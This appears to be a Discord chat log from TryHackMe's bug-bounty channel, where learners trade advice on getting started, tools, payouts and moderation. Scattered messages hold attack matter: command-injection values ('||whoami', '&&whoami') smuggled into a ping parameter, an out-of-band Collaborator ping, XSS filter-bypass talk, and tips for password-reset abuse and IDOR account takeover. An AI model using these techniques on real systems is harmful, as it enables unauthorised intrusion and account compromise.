#bug-bounty

1 messages · Page 9 of 1

native token
#

No problem, if you ever need anyone to chat to about what you're working on or any advice feel free to ping me 🙂

fallen palm
#

Most definitely will. Appreciate you 🙏

fallen palm
#

One last question my man @native token ....do you think with extreme hard work and hours invested learning and becoming good could I find a couple bugs within my first 3 months and perhaps make it a living eventually??? Obviously implying your at it 24/7 ?

native token
#

Possibly, it all comes down to the person learning and how well you can pick it up. I wouldn't say it's a good idea to try 24/7 until it clicks as it can lead to really bad mental health especially if you don't find anything for a period of time

quasi pivot
#

If u start out trying to make money in BB you're going to have a hard time. A lot of time invested, not learn alot, become extremely frustrated and probably burn urself out.

#

Unless you have a strong background coming into it

hard mantle
#

hi

still jasper
#

Hey

young spoke
#

Hey! Did you know that TryHackMe has its own bug bounty programme? Well you do now!

As with a bug bounty programme for any company - you must read & adhere to their rules and policies. Here is TryHackMe's: https://help.tryhackme.com/miscellaneous/the-bug-bounty-programme

Ensure you understand what you can and cannot do before attempting anything and adhere to the disclosure policy

young spoke
shrewd bane
#

Hii
Zuber here

fallen palm
#

Thank u !!! @native token @quasi pivot

drowsy birch
#

hi i am finding a group who can become a partner for hacking with me. and learn together if anyone messages me........ 🙂

ebon tapir
drowsy birch
calm wasp
#

@drowsy birch I would love to be part of this group, still learning my craft but I think it would be more efficient with people to work with

drowsy birch
jolly palm
#

Hello every body can anyone give a Methodology to hack in bug bounty i am really stuck

still jasper
#

Check the pins they will help

jolly palm
#

Allright

still scarab
#

Find an issue with an api, get beer money pay

#

Hey I’m new I wont complain

jolly palm
#

Hahaha

#

But do you recommend tools (free) ?

still jasper
#

Zap or Burpsuite

vital swallow
jolly palm
#

Alright thx

fallen palm
#

Hi everyone
Im interested in how can i find vulnerable ID,PARAMETERS &etc in web apps for SQLi? Can anyone give me advices? Or some tools to do that? Please

tall slate
#

Check portswiggers web accademy

chrome venture
#

Is the zap works same as the spider was working in old burpsuite?

jagged frigate
chrome venture
#

Ok

torn tulip
fallen palm
#

Thx guys

fallen palm
#

found XXE on a bugbounty program XD yesterday

wintry hemlock
#

Do you hide your identity when performing bug bounties?

#

I mean, it's in the scope, but you're literally attacking them. So, I don't think it's a good idea to use our home IP right?

#

(Other options like VPN may or may not work depending on the technologies the clients use)

still jasper
#

Some use a VPN/VPS some don't at all

wintry hemlock
still jasper
#

Yep, i've seen a few people say they haven't used a VPN/VPS at all

jagged frigate
#

Companies like bug hunters, because they're basically a "free" workforce

spiral ether
#

I would suggest to use a VPS/VPN when you are scanning/reconnaissance as you might hit Akamai/Cloudflare and get your IP banned for 2 weeks and then you aren't able to visit stores/shops/game services.

native token
#

Common practice is using a vpn so that aggressive wafs don’t ban your ip. Vps are used commonly to perform enumeration and scanning so once again you don’t get banned

#

Vpn is likely more important than a vps if you aren’t doing aggressive scanning

wintry hemlock
#

And yes, a target I was snooping on is using CF. But I'm not worried about getting banned (I would take measures if I did agressive recon)

native token
#

doesn't have to be aggressive tbh. One of the programs I was hacking on would ban your ip for 6 hours on CF if it detected any malicious payloads etc

spiral ether
#

Well Akamai bans you for just using subdomain discovery tools

#

But they work with reputation

#

The owners of a website can set the reputation requirement

quaint bronze
tidal roost
#

Hey guys just doing the google dorking room and have a question about intitle: index.of

#

I was wondering why the adresses/names of the websites were blanked off from the lesson. As it says:
“I have blanked out a lot of the below to cover you, me, THM and the owners of the domains.”

gusty spindle
#

try this guys

pure pawn
fallen palm
#

hello hello me and a friend we would like to start bug bounty a bit, does anyone know a good platform and there are no risk in bug bounty?

still jasper
#

Hackerone, Bugcrowd, Intigriti

#

There's no risk as long as you stay in scope of the programs

fallen palm
#

Okay thank u

dry tusk
#

hey people, new person here

#

Question for bug hunters - what was the first bug bounty you turned in?

spare cairn
#

bruteforce on login 😆

quasi pivot
tall slate
vocal folio
#

Mine was an XSS on tryhackme, along with Muirland

quasi pivot
vocal folio
#

In answer boxes, a room creator could XSS anyone going back to the page by changing the answer

quasi pivot
#

Ooooo nasty

vocal folio
#

It was stored, we discovered it when some answers with special chars in were being weird and truncating. Turns out the bits that were lost ended up in the HTML tag and you could create attributes

dry tusk
#

This is great, I'm quite new to this and had not heard of history.back() or LFI. Learning more from googling, but still wish I could ask you all a ton of questions.

#

@vocal folio That you found your first bug bounty on the website you were probably using to learn is pretty neat.

vocal folio
#

I'd done some XSS stuff before, but was otherwise pretty new to hacking

dry tusk
#

Did you find it because you were creating a room, or were you just poking around at different things you could do on the site?

vocal folio
#

Trying to work out a bug with a room

silver night
prisma axle
#

right pointing backhand index?

vocal folio
#

👉 I suppose

silent agate
#

Hi, I'm testing an OAuth implementation and the state parameter contains the same value for every user and doesn't change if I try to login as different users or same user multiple times. Can I abuse this in any way or isn't this a vulnerability?

fast fable
#

!github

marsh falconBOT
dry tusk
#

Hey, I'm (very) new to bug bounties, and just playing around with XSS at one of the hackerone programs.
The site I'm looking at has a profile where comments can be shared. It seems to take the user input, send it with javascript back to the server { "body": "whatever you enter"}, and then it comes back in javascript as well and is rendered on the page.

#

When the user data comes back, some characters are changed into unicode (I think it's unicode): for example, > comes back as \u003e in the server response, so "body": "<script>" comes back as "body": "\u003cscript\u003e"

#

Is there a way to get around this, escape the encapsulating javascript response, and get XSS?

#

Or, is there anything useful you would gather from this response, or just say its not worth digging into more?

prisma axle
#

wait what you’re new to bug bounty and got xss on a program

#

damn

#

or are you doing hacker101

hybrid orchid
#

Not yet anyway

#

Not unless they get around the filtering

dry tusk
dry tusk
#

Also please let me know if I'm posting in the wrong place. I'm new to thm and bug hunting.

silver night
#

As someone with no authority, this feels right. However I'd note that you can see a lot more of the server if you verify your Discord with your THM account!

dry tusk
silver night
#

Nice! No problem!

hybrid orchid
#

Yessss, this is the right place

dry tusk
#

Yeah so I'm just poking around here, and I think it goes out in a json, and lets say I enter < > / \ ! | . & ( ) in a comment, to test special characters:
a POST goes out with:

"body": "< > / \ ! | . & ( )",
...}```
it comes back as
```{...
"body":"\u003cp\u003e\u0026lt; \u0026gt; /  ! | . \u0026amp; ( )\u003c/p\u003e",
"raw_body":"\u003c \u003e /  ! | . \u0026 ( )",
...}```
#

now in the return above, \u0026 is unicode for &. it seems to take the < and >, turn them into &lt and &gt, similarly & into &amp, which kind of makes sense because those are the character entity references for those characters.

#

And ultimately, the comment is published on the page as:
< > / \ ! | . & ( )

#

Any advice for sending stuff out in the POST to try getting XSS?

silent agate
#

Hello, I am trying to play with a ping functionality on a website. The original request is {id:3,method:"rant.ping",params:["192.168.1.5", 0]} and original response is {"id":3,"result":{"JSONRPCType":"CallableReference","javaClass":"com.redacted.network.RemoteAccessProcess$Stream","objectID":315777588}}
Then another request is made {id:4,method:".obj[273619413].getCommand",params:[]} with the response {"id":4,"result":"ping -n -c 10 -W 2 -Q 0 192.168.1.5"}

So now I tried adding like ||whoami , &&whoami after the IP in the first request, but then the last request end up removing the IP and my command, like this {"id":13,"result":"ping -n -c 10 -W 2 -Q 0 "}

Any ideas what I can do do to avoid this?

fallen palm
#

My first intuition would be that "rant.ping" fails to parse the IP address, so it is blank when the ping command is constructed.

silent agate
# 
ping -n -c 10 -W 2 -Q 0 dl23l1j6c95qzxfiygccbqedy44usj.burpcollaborator.net                                                                      
ping: dl23l1j6c95qzxfiygccbqedy44usj.burpcollaborator.net: Temporary failure in name resolution
prisma axle
fallen palm
silent agate
#

The requests are a bit weird, not sure exactly how the backend works

marsh lava
#

Can any one suggest me some good machines that will help to improve bug hunting?

native token
#

There’s not really any machine per say that will help directly with this but portswigger has an amazing training program that’s free that touches on oswap top 10 you could check out @marsh lava

marsh lava
#

Ok thanks @native token

spare cairn
#

Is there any CVE for nginx/1.16.1 , I tried googling but i am not so good with searching exploits

spare cairn
vocal folio
#
  1. Many bug bounties have an NDA
#
  1. What'd stop us from stealing the bounties?
#

There are sites with CVEs broken down by product version

#

I'd start there.

spare cairn
vocal folio
spare cairn
#

Ahaa cool thanks blobheart

vocal folio
#

Because google has infinite patience.

modest vector
# spare cairn Ahaa cool thanks <:blobheart:689626579479035913>

Note that, sometimes a CVE entry does not provide the version of the product that is being searched, but rather provides the version of the library or other component that the searched item uses. For example, for NGINX, there are 2019 entries that show the version of njs, the scripting language for NGINX, without mentioning the version of NGINX.

fallen palm
#

Hello I sent an e-mail 2 days ago to report a bug, but there was still no reply. When do you return?

still jasper
fallen palm
merry plume
#

Generally the admins to don't reply to duplicate bugs / low sev bugs

fallen palm
#

Oh maybe. But we take time for it, I think they should give a positive or negative reply

merry plume
#

Thank you so much for submitting though!!!

#

We appreciate it 😄

fallen palm
#

😂 😂 😂 😂

elfin lava
#

.

quasi pivot
#

How serious of a bug is being able to leak chat logs?

native token
#

Depends on context and whether the user should be able to view chat logs, what the logs contain etc

#

It could range from a low all the way up to high

quasi pivot
#

Aye you can view the whole chat logs, thousands of them. Tis my first submitted report xD

fallen palm
#

hi can we bug bounty being a minor if yes can you give me a reliable platform that accepts minors thank you

still jasper
#

Some programs require you to be a certain age but there are quite a few that dont have an age limit Hackerone and bugcrowd are pretty big platforms check them out

#

But if you’re a minor in the ToS you have to get your parents to submit the report

#

And this is bugcrowds

unknown.png
fallen palm
#

Thankk you

#

Yeswehack dont accept minor?

#

my parents agree

still jasper
#

Yeswehack I couldn't seem to find but you'll have to read the programs scope

fallen palm
#

last little question after i stop bothering you xD bug bounty requires a good level?

still jasper
#

As some may say you need to be 16 or 18+

#

Not really, as long as you know web app hacking

#

There have been people who may have started and got a bug in one month being new to it and some other may take time, I remember speaking to someone and they said it took them 6 months to find their first bug

fallen palm
#

I am only 15 years old and I am interested in pentesting it is my passion I have more or less the basics but I wonder if it will be enough ....

still jasper
#

As long as you're passionate about it you'll do great

#

Passion and dedication goes a long way

fallen palm
#

thank you very much

inner sierra
#

@fallen palm also you can select 3 options:
Be white hat but get less money
Be grey hat and get more money
Be black hat and get most money

lavish hollow
#

No.

#

!rule 9

marsh falconBOT
#

Rule 9: No discussion of illegal/unethical topics or actions. If the target device doesn't belong to you, and you don't have specific permission to perform an attack from the owner of the target: you don't do it, and we don't talk about it. This also applies to software licenses / copyright violations. If in doubt, please ask a moderator before posting your message -- preferably without breaking rule 1. Whether an action is illegal or not is at the sole discretion of the moderation team.

lavish hollow
#

White hat or no hat.

inner sierra
#

@lavish hollow I said only options

lavish hollow
#

Read the rule "No discussion"

inner sierra
#

So word black hat is banned lol

lavish hollow
#

Telling someone they can earn more money for being a black hat is unethical and bad.

inner sierra
#

I'm not black hat, I'm white hat, I just said what's true

past hatch
inner sierra
#

Yes

vocal folio
#

-warn @inner sierra Do not discuss blackhat activities. Especially do not encourage them.

uneven galeBOT
#

⚠ Warned Adduck#0646

inner sierra
#

I only said sad fact

#

Also 50% of ppl learning want be below grey

vocal folio
#

-mute @inner sierra 5m Please stop arguing. Encouraging blackhat activity will not be tolerated.

uneven galeBOT
#

🔇 Muted Adduck#0646 for 5 minutes

inner sierra
#

But let's get back to white hat

#

How many € can someone get for one bug?

lavish hollow
#

Depends on the company & bug.

inner sierra
#

Google, security bug

still jasper
#

depends on the vulnerability and impact

inner sierra
#

For some medium learned person, can get Gmail access

#

For example

lavish hollow
#

If you mean someone else's email, that will probably have a big payout.

inner sierra
#

About?

still jasper
#

Depends how you get gmail access

#

they won't accept brute force

inner sierra
#

What about this example

ebon tapir
inner sierra
#

You will get it with help of forgot passwordLOL

still jasper
lavish hollow
inner sierra
#
  1. Make basic report
  2. Make complex report
still jasper
#

what?

inner sierra
#

Nothing

lavish hollow
#

Most companies will have a bug-bounty contract which tells you almost everything, rewards included. It is important to remember that these payouts are most likely not enough to live on.

rustic solar
#

What’s the best way to get into bug bounties? I have a basic-intermediate understanding of Mac and windows OS exploitation. I just can’t find anything straight foreward online

still jasper
#

Learn web hacking

native token
#

Sadly having knowledge of OS exploitation isn't gunna help too much here, best thing is to scratch up on your OWASP top 10 and also OWASP WSTG

rustic solar
#

I need some help understanding this— I can scan webpages for open ports using nmap, and usually they come back with ports 443 8080 and 80 open. How can I exploit them?

#

Thank you bye

#

Btw

vocal folio
#

You need to learn web hacking.

rustic solar
#

How? Any good websites? I’ve been looking for a while but can’t seem to find any

vocal folio
#

TryHackMe. Portswigger academy. Don't scan random websites.

rustic solar
#

Great. Thank you

native token
#

Bug bounty seems to have a false stigma that it is beginner friendly, when in actuality it isn't even close

#

Unless you put enough time to fully understand what you are testing for you're unlikely to find anything at all and just waste time. You have to remember the websites that are offering bounties have likely already had a pentest/red team evaluation so you're literally clawing for the bits they missed

rustic solar
#

That’s seems to be similar to what I’ve gathered before from my quest to find easyish bounties. Thanks for confirming lol

elfin granite
#

Good Morning 🙂

vocal folio
#

Is this still for a CTF?

spare cairn
#

When i use forgot password on a website , it itself changes the account password ( generally we have the password reset link right ), but here we directly have the new password of the account , So if I send 100's of password reset request , I can't login because the password gets changed literally every second , an attacker could use a VPS
Impact: Deny access to the genuine user into his own account ( even if he his into the account because the cookies will expire sooner or later )

Worth reporting ?

quartz aspen
#

i assume you need to be logged in do request the password reset?

spare cairn
quartz aspen
#

so anyone can reset anyones password ?

spare cairn
#

forgot password

spare cairn
#

and unlimited times

quartz aspen
#

of course thta's worth reporting

spare cairn
#

Well i can reset , but i won't know his password

quartz aspen
#

how will the user know the new password?

spare cairn
quartz aspen
#

i see

#

that's a weird way to implement this so yeah i'd say report it

thorn parcel
#

@spare cairn can I dm you? 🤔

spare cairn
#

but if I changed his password every second , I don't think his inbox would be of any help

spare cairn
#

@jake what should the weakness though
It's caused by rate limting but deny access to the user ?

#

@quartz aspen

quartz aspen
#

uhhh

#

well there definitely should be some rate limiting

#

but i've never submitted a bug before so i don't know the format sorry

spare cairn
#

oo nevermind
thank you for the help🙂

spare cairn
#

Reported !

#

Another doubt

On signing up , The Sign up token is disclosed visible via the network tab>response
that means I can sign up as any email because I will have the token
Any way to make it more severe ?

native token
#

@spare cairn Best odds is try and use that to sign up with an email from that company

#

e.g if you were creating an account on logitech try thegoodguy@logitech.com. Sometimes they will give accounts from their own trusted domain additional permissions

spare cairn
#

I already submitted by I tried , It treats every account the same irrespective of the email domain

spare cairn
#

1 got Dupe pepehands
waiting for the second

tall slate
#

Dupe is still valid one, congratulations

#

Gj

spare cairn
quasi pivot
#

Aslong as u learnt something it's not wasted time :)

spare cairn
#

ugh second one got duped as well

#

it seems luck is not in my favour 🤷🏻‍♀️

modest helm
#

Question ~ If an "alert" payload (cross-site scripting) was echoed on a site in JS code, would that be enough for a report? I'm new, so sorry if it's a dumb question lol. Not sure if I need to "prove concept" anymore than just researching the impact of it. along with directories base64 encoded for the webserver. fishing around those now to see what goodies i can find.

hardy ginkgo
#

So the weakness is that is automatic change the password without any verification, check if you can catch an account-ID with burpsuite while requesting this with an email.. Maybe you can manipulate it to an admin account

#

So lets say your account is ID 190 and you catch that change it to ID 1 and you probally get an password in your mail from an account with to much rights 🙂

buoyant bone
modest helm
buoyant bone
#

Good luck with it! THM has some seriously good rooms for XSS if you need to freshen up your skills

spare cairn
fallen pelican
#

hello everyone, i have a question

#

Do you think it is possible to have good bug bounty results without using burp?

still jasper
#

It's possible yes, you also have ZAP

fallen pelican
#

never heard about this, i'll check this rn

fallen pelican
acoustic hawk
#

hi guys i'm Othmane and i'm honored to be here with you , so i wanna start bug bounty and i don't know where i start i need some help , i'have some questions about bug bounty and i have basic of information in it field i'dont need hwo tell me step by step but just tips and thank you

vocal folio
#

Tip 1. Don't expect to make money from it. Don't do it for the money.

acoustic hawk
#

yes i know this but i need some platform or book for beginners kind of this ?

vocal folio
acoustic hawk
#

thank you , this my last questions what's the difference between penetration testing and bug bounty can you explain to me please ?

vocal folio
#

Because google it

acoustic hawk
#

I watched a lot of video on Youtube and i'dont found the response

vocal folio
#

It is a basic research question

#

You will not get far in security if you cannot research. We will not do your research for you.

acoustic hawk
#

thank you for your time

vocal folio
#

@grand thistle We don't do those links here

native token
acoustic hawk
native token
#

No problem, I get some questions aren't always easily answered online 🙂

native token
#

A lot of manual labour

#

robots has it's uses but you need to be able to figure out for yourself which ones may be of interest

spare cairn
empty horizon
#

Hi guys,
After several attempts, I think I encountered a problem in the Alfred room.
I followed all the instructions correctly (I think), but I cannot find the root.txt file.
I did a search -f root.txt or even look in C:/Windows/System32/config (as found in writeups), but nothing.
Does somebody have an idea?
Thanks
PS: I hope to be in the right group

vocal folio
#

@empty horizon #room-bugs but you've probably missed the step where you need to migrate.

empty horizon
#

@vocal folio ohh sorry will move in this room. you are probably right but I can't find my mistake

#

will do thanks @vocal folio

past hatch
#

Export the directory,file list to a text file ,and use gowitness on it ,so u will have clean ss of all ,then u can choose where to look.

fallen palm
#

Would you say an account switch in the url is a bug when password authentication gets ignored by it?

hybrid orchid
#

Are you already authenticated in the other account?

fallen palm
#

Nope

lapis fulcrum
#

Not a bug. It’s a feature 🙂 @fallen palm

fallen palm
#

Ah. So a currently signed out user can be relogged like that without authentication again?

spare cairn
south juniper
#

Hey! I've just found my very first vulnerability on a website, it lets a malicious user to send a customizable mail from the website official email adress to any of the website user. Any potential attack other than social engineering?

native token
spare cairn
spare cairn
native token
#

Welcome to the fun part of bug bounty. You have to figure out a payload that bypasses it

native token
#

It's where most of the money comes from in bug bounty

#

finding bypasses for existing filters

#

Good luck finding it

#

Chances are you'll find the CF IP and just get direct access denied

native token
#

Dropping this here... don’t go scanning like a clown when attempting bug bounty

image0.png
fast fable
prime cipher
#

Looks good 🙂

frail compass
quasi pivot
native token
#

That wasn’t aimed at me

#

This is an email a program sent out and is doing the rounds on Twitter

spare cairn
still jasper
#

That must have been a lot of requests for that to happen

#

I wonder how much threads they run to cause that

native token
native token
spare cairn
#

I know but I always set the thread to low , 1-2 request per second

#

that mail said 100 request/minute , that is not even 2 request / second , that's slow

native token
#

That’s the rules of most programs

#

Slow it may be but realistically, tools like ffuf aren’t needed for much bounty work

#

Maybe to scan an api but if you’re straight up brute forcing from the get go hunting for directories you may wanna reevaluate your approach

spare cairn
#

I just use burp and sometimes gobuster

quartz aspen
#

when they host their servers on the free tier

native token
#

@quartz aspen that's a new level of ignorance... Http/s traffic caused when brute forcing on high threads can cause it to happen

quartz aspen
#

for sure, but the server should have enough resources to handle it from one client, especially if they're hosting a bug bounty, the second comment was just a joke lol

native token
#

Fire axiom at it with ffuf and you'll soon realise that it can be used as a tool to dos a site

quartz aspen
#

i'm not sure what axiom is

vocal folio
native token
#

https://github.com/pry0cc/axiom

GitHub
pry0cc/axiom

The dynamic infrastructure framework for everybody! Distribute the workload of many different scanning tools with ease, including nmap, ffuf, masscan, nuclei, meg and many more! - pry0cc/axiom

quartz aspen
#

you can just spin up 15 boxes, perform a distributed nmap/ffuf/screenshotting scan

#

so it's not from one client

grim dew
young leaf
merry plume
spare cairn
short drift
#

what would you say your guys bug bounty methodology is? i assume it starts with gathering endpoints, subdomains, exploiring the site, etc

spare cairn
#

For now , I don't do heavy research , just check the sign up, login , forgot password password endpoints then in the account , no extra tools except burp ( that too when i need intruder )
I will slowly move towards using enumeration
But for normal Bug hunters , it's what you mentioned

#

I don't have any idea but many beginner bug hunters usually look for xss and idors

native token
#

@short drift This is usually the initial stuff I'd check for.

unknown.png
spare cairn
native token
#

Not so much resources but take a second to look at how the handshake works

#

usually it'll return a completed hash (Nut sure about v3) which is used to identify that it has been checked

#

If you drop the request that it is sent, check if it times out

#

if it isn't timing out or set to destroy the hash after it's used, then that's an issue

#

I don't tend to focus any amount of time to it lately though as it isn't usually anything major

spare cairn
#

I could enumerate emails if i could bypass it
I mean i can still do it, but it's manual

native token
#

I mean from what I understand recaptcha 3 has only been going strong for 8 months or so

#

I'd say fiddle and try find a bypass yourself as then you can start doing the rounds on all programs with it implemented

spare cairn
#

umm that's what i am trying to find
Thank you for the help 😄

native token
#

Chances are if anyone has a bypass they aren't disclosing as it's a great income

spare cairn
#

yeah i understand , let me do some research

pale plover
past hatch
manic mango
#

Hello anyone here

still jasper
#

Yes

manic mango
#

if i add single quote in page parm and it delays a lot and when I delete it it works

#

is this sql injection I tried a lot of payloads to make sure but all made delays only is there any

rose pecan
#

unless you're calling some sort of sleep function within sql, probably not

#

there might be a lot of data to search through, so it might take time to search the whole dataset for a '

quaint quail
#

Hey. Is it possible to exploit OOB XXE without Burp Collaborator? Im kinda new to hacking

past hatch
past hatch
spare elk
#

I just submitted my first bug today blobfingerguns

#

P5 though 🤡

#

Bug bounty's are way different than CTF's

past hatch
spare elk
#

Hello Fire Drago

#

Whats your username on bug crowd

past hatch
spare elk
#

Just realized there is no follow feature on bugcrowd kekw

royal lake
#

hi
i am testing a parameter that reflect my input in a java script function ..
my input is "123" :
the result is :
var _nifra = true;try {if (window.top != window){_nifra = false;}} catch(e){_nifra = false;}if(_nifra && typeof 123 === 'function'){123(true);}

the prameter name is {JSONP_call=}

#

any help?

royal lake
fallen palm
#

@everyone

fallen palm
#

what

sudden void
twilit girder
#

Guys can anyone help we with creating a PoC ? One of my clients has missing SPF records but I need a PoC and emkei.cz is not working anymore

spare cairn
spare cairn
spare elk
#

It was a blank page and if you enter something in url say url/some_text then the website showed some_text on screen

#

Not a big thing ig

twilit girder
spare cairn
spare elk
#

Yes but it didn't work

spare cairn
spare elk
#

There is some server side cleansing

#

Which prevents me to add anything

spare cairn
twilit girder
#

Part of my internship

#

Usually Emkei does the trick

spare cairn
#

let me check the web

twilit girder
#

But it's not working right now

spare cairn
#

not even to spam folder ?

twilit girder
#

Nopes

#

It's showing that mail is sent

#

But doesn't even show up in spam

#

I tried adding a "Reply-To" header but even that doesn't work

spare cairn
#

sorry but without the domain info , I really can't help you
Maybe try reading hackerone reports

twilit girder
#

More than the domain, any suggestions for an alternative service ?

#

I tried most of the listed ones but none are satisfactory

spare cairn
#

emkei is best in this term
maybe the service is not vulnerable

twilit girder
#

It is because I tried some other such other services but they charge bucks or else, send a post script note :(

spare cairn
twilit girder
#

Tried this

#

But I don't have a SMTP2Go account

#

:(

past hatch
native token
spare elk
#

I tried all of them mentioned in web application hackers handbook

fallen palm
#

Question: I hear Bug bounties are competitive in nature which makes me feel a bit put off from getting into it.
I am studying cyber security and looking to get into Pentesting but also want to live in other countries at the same time which is attracting me to bug bounties instead due its remote nature.
I have a passion for cyber security in general but i really want to find a way not to be tied to one company because i love living in multiple places all the time.

#

I know its a bit of a random question i guess im having a direction crises right now

#

My goal is to live and work remotely, i do have other online business setup so i would not just be relying on bug bounties.

stark blade
#

do pentesting some time bug bounty and live ur life but u have be very experienced for it

shrewd dirge
#

@young leaf Could TryHackMe be a perfect place to learn for bug bounty?

hardy ginkgo
shrewd dirge
hardy ginkgo
#

You should always need to learn new things

shrewd dirge
hardy ginkgo
#

It isnt about that you learn from 10 different places, tryhackme should give you a great fundament for bug bountys

#

But you could go for OSCP or something like that

shrewd dirge
hardy ginkgo
#

It depends on how you are, bug bountys can be hard from what I have heard on a few podcasts it takes days or weeks to find a bug

#

But it all depends on your skills 😉

shrewd dirge
#

@hardy ginkgo I feel like there's more I need to learn.

hardy ginkgo
#

Then you should learn more before starting

shrewd dirge
#

Ok.

hardy ginkgo
#

Go through the web fund path

#

That will give you a good basis

shrewd dirge
#

@hardy ginkgo How do hackers find new vulnerabilities? Where do they look first?

hardy ginkgo
#

They mostly start with exploring there target to find odd things outdated stuff etc

#

But cant say for sure I am a beginner myself ;p

#

But with a lab I normally start scanning the hosts to see what is up and running after that if theres a webserver available checking for vulnerabilities and hidden directorys etc

#

You should learn yourself a basic set of steps that you always will perform to get information about the target before starting to exploit

shrewd dirge
#

Ight.

hardy ginkgo
#

You could ask these questions in general there are a few OSCPs that are really advanced

native token
#

Oscp won’t really help with bug bounty as much as something like portswigger tbh

#

Portswigger has a massive lab that covers owasp top 10 and are likely to be found in webapps

faint forum
#

I wanna be a bug bounty hunter but how do i start?

#

@hardy ginkgo

native token
#

Learn the fundamentals of web app testing from thm and portswigger, become very familiar with owasp top 10 and practice. You’ll be a step closer

tall slate
#

@faint forum check pins

candid phoenix
#

Anybody have a pentesting video to complete knowledge??

faint forum
quasi pivot
candid phoenix
quasi pivot
#

On what topic? Penetration testing and bug hunting are different.

uncut tinsel
candid phoenix
fallen palm
#

Hey im getting through portswiggers academy but i need an alternative to Burpsuite Intruder for brute-forcing parameters.
Its very slow due to the rate limit.
Any ideas?

past hatch
fallen palm
#

It has a feature like intruder?

#

Im trying to brute force a number from 1000-9999 from an intercepted post request

past hatch
#

I have used owasp zap on portswigger and its perfectly fine

fallen palm
#

Im going to use ZAP and burp together until i can afford a PRO license

pale plover
#

Or then again, get comfortable with ZAP, and see if you still need burp for something 🙂

past hatch
#

Well i still prefer burp cm bz of its clean ui than zap ,only use zap for intruder based attack but that's just my preference

pale plover
#

Sure, that's up to your preference.

past hatch
# candid phoenix Bug hunting

Get ur base ready first do thm web app path,portswigger and then watch nahamsec for live recon,stok,insiderphd and zseno's live bug hunt.

fallen palm
#

Im trying to intercept a request with ZAP and then edit it, and then send it to be fuzzed but the edits are not reflected when i send to to the fuzzer

faint forum
#

Hey i am a 13 years old I wanna become a bug bounty hunter how can i start?

tall slate
#

Why are u asking same question again and again lol

elder junco
tall slate
faint forum
faint forum
elder junco
faint forum
faint forum
#

🥲 🥲

#

@elder junco u have any free course?

fallen palm
#

Its free

faint forum
#

Ok wait

quasi pivot
faint forum
#

I want to join bug bounty because I liked that field and in future it will have higher demand

quasi pivot
quasi pivot
faint forum
faint forum
#

Web or app

quasi pivot
# faint forum Ok then which field I should go?

Doing bug bounties is fine but A LOT of people start it chasing the money. You can go like 4 months and only make $100. You're better off learning hacking as a broad subject then applying urself.

#

That's up to you, they have similarities depending on how you look at them.

faint forum
#

I am 14 years old kid lol

#

But I am interested in hacking and all this kinda stuff

faint forum
quasi pivot
#

If u jump straight to bug bounties you're going to have a very bad time, also potentially be kicked off the programs.

faint forum
faint forum
#

@quasi pivot tell till where should i learn

#

i am at linux commands part 2

tall slate
#

@faint forum there is no end to learning

quasi pivot
tall slate
#

Everyone u see doing bounties keep learning

quasi pivot
#

!docs free-path

marsh falconBOT
quasi pivot
tall slate
#

Me too. Most important lesson i learnt is,
There is only one chance to prove impact. So don't be lazy.

#

😅

quasi pivot
#

I always panic write the writeup cause I dont want a dupe (had 0 dupes so far)

tall slate
#

I reported a bug " Phishing using history.back() fuction" but i made it that way so user have to click.
They said more info.
I supplied them webpage and attack which requires no interaction but didn't got reply lol

faint forum
#

@quasi pivot which operating system is best kali or Ubuntu

tall slate
quasi pivot
faint forum
#

ok i will go for kali

#

And I have a question what are labs @tall slate @quasi pivot

quasi pivot
faint forum
fallen palm
#

Which one do you guys like hackerone or bugcrowd

faint forum
fallen palm
#

Dw abt it yet

#

They are more platforms for hacking

faint forum
#

Ok

past hatch
quasi pivot
#

I too use hackerone

fallen palm
#

Hackerone is good I like it too

#

I also use intigriti

past hatch
fallen palm
#

it is

#

It is the biggest in europe

past hatch
fallen palm
#

Yes

#

idk if it is only european companies but i think so

#

But they still have a lot of companies

past hatch
#

Cool

spare cairn
#

hackerone and bugcrowd are the most famous ones followed by intigriti,synack,yeswehack and some more

fallen palm
#

I really want to join Synack

#

I am going to subscribe to HTB to do their path on Synack RT

austere elbow
#

Hello people i need some help about bugcrowd site

still jasper
#

What help do you need with it?

austere elbow
# still jasper What help do you need with it?

I just need someone who will explain me how to do it.I mean i can read what is in the scope and everything but i dont know how i can start....So i need someone in my dm who will help me.

spare cairn
austere elbow
spare cairn
#

site which have programs on bug bounty sites , you have to learn about different vulnerabilties

#

portswigger lab is a good resource

#

basically , find a good program , read their policy ( in-scope and out of scope )
Try to find vulnerabilites in their site making sure to not affect other users ( no dos mainly )

austere elbow
spare cairn
#

yup

still jasper
#

As long as you're not doing anything OOS you'll be fine

twilit girder
#

Hey has anyone worked with AWS ?

#

Can anyone tell if X-Amz-Credential means something important ?

coral tangle
vocal folio
twilit girder
#

Sighs

#

Thanks people

#

This is what I got today

coral tangle
twilit girder
#

This is infuriating me.

#

Yesterday they said they're paying a bounty and wanna get an audit done

#

And now this

coral tangle
twilit girder
#

No, it's a place a friend works for and they asked me to take a look and yesterday they sent a mail for $$$

coral tangle
twilit girder
#

This is yesterday's email

coral tangle
twilit girder
#

Yup. These corporates are horrible.

#

They legit had a "backup" of their config files lying right there on the server along with some Rate Limit Bypasses

eager violet
#

im doing bug bounty rn, is there any obfuscated xss payload that doesnt use < ?

wide leaf
eager violet
#

ight thx

past hatch
spare cairn
#

I found a param which reflects the text on the site
Maybe it is vulnerable to xss , the program is from intigriti and currently suspended , but may become active
Anyone want to collab ? If we get a bounty , your keep 75%
DM 😉

eager violet
#

is this worth looking into

Screenshot_2021-04-18_11.10.30_AM.png
#

or no?

vocal folio
#

That's user supplied text being handled safely - escaped properly but I believe escaped twice?

eager violet
fallen palm
#

i have a question

#

if i make an new account on a website add 2fa and link an google accout

#

then logout and login via the google acc

#

and theses no 2fa needed ?

#

is that bypass?

hybrid orchid
#

No, because all you've done is switch the verification over to Google

fallen palm
#

alright thx for the help

#

🙂

deft acorn
#

While hunting i came across one Url which reveals the account token and with the help of that token i can reset password of that account?

#

So this vulnerability is which type of vulnerability..

#

Ans should i report it

#

Please tell me

fallen palm
deft acorn
#

Okk working on it!!

rustic dew
#

Can someone tell me what the hell is this

#

The contents moved out on specific payload

#

I can print things outside the box 😂

thick swallow
#

peace and love

marsh falconBOT
#
TryHackMe
Here are all of the possible topics!
!docs url

Visit the help site

!docs verify

Learn how to sync your THM profile to Discord

!docs student

Learn about our student discount programme

!docs levels

View all the TryHackMe levels & point requirements

!docs room-notes

Get started with making TryHackMe room

!docs room-review

Learn about the TryHackMe room review process

!docs api

Read about the TryHackMe API

!docs koth

How to play TryHackMe's King of the Hill (KoTH)

!docs free-path

What rooms should you do? A free guide for beginners

!docs bug-bounty

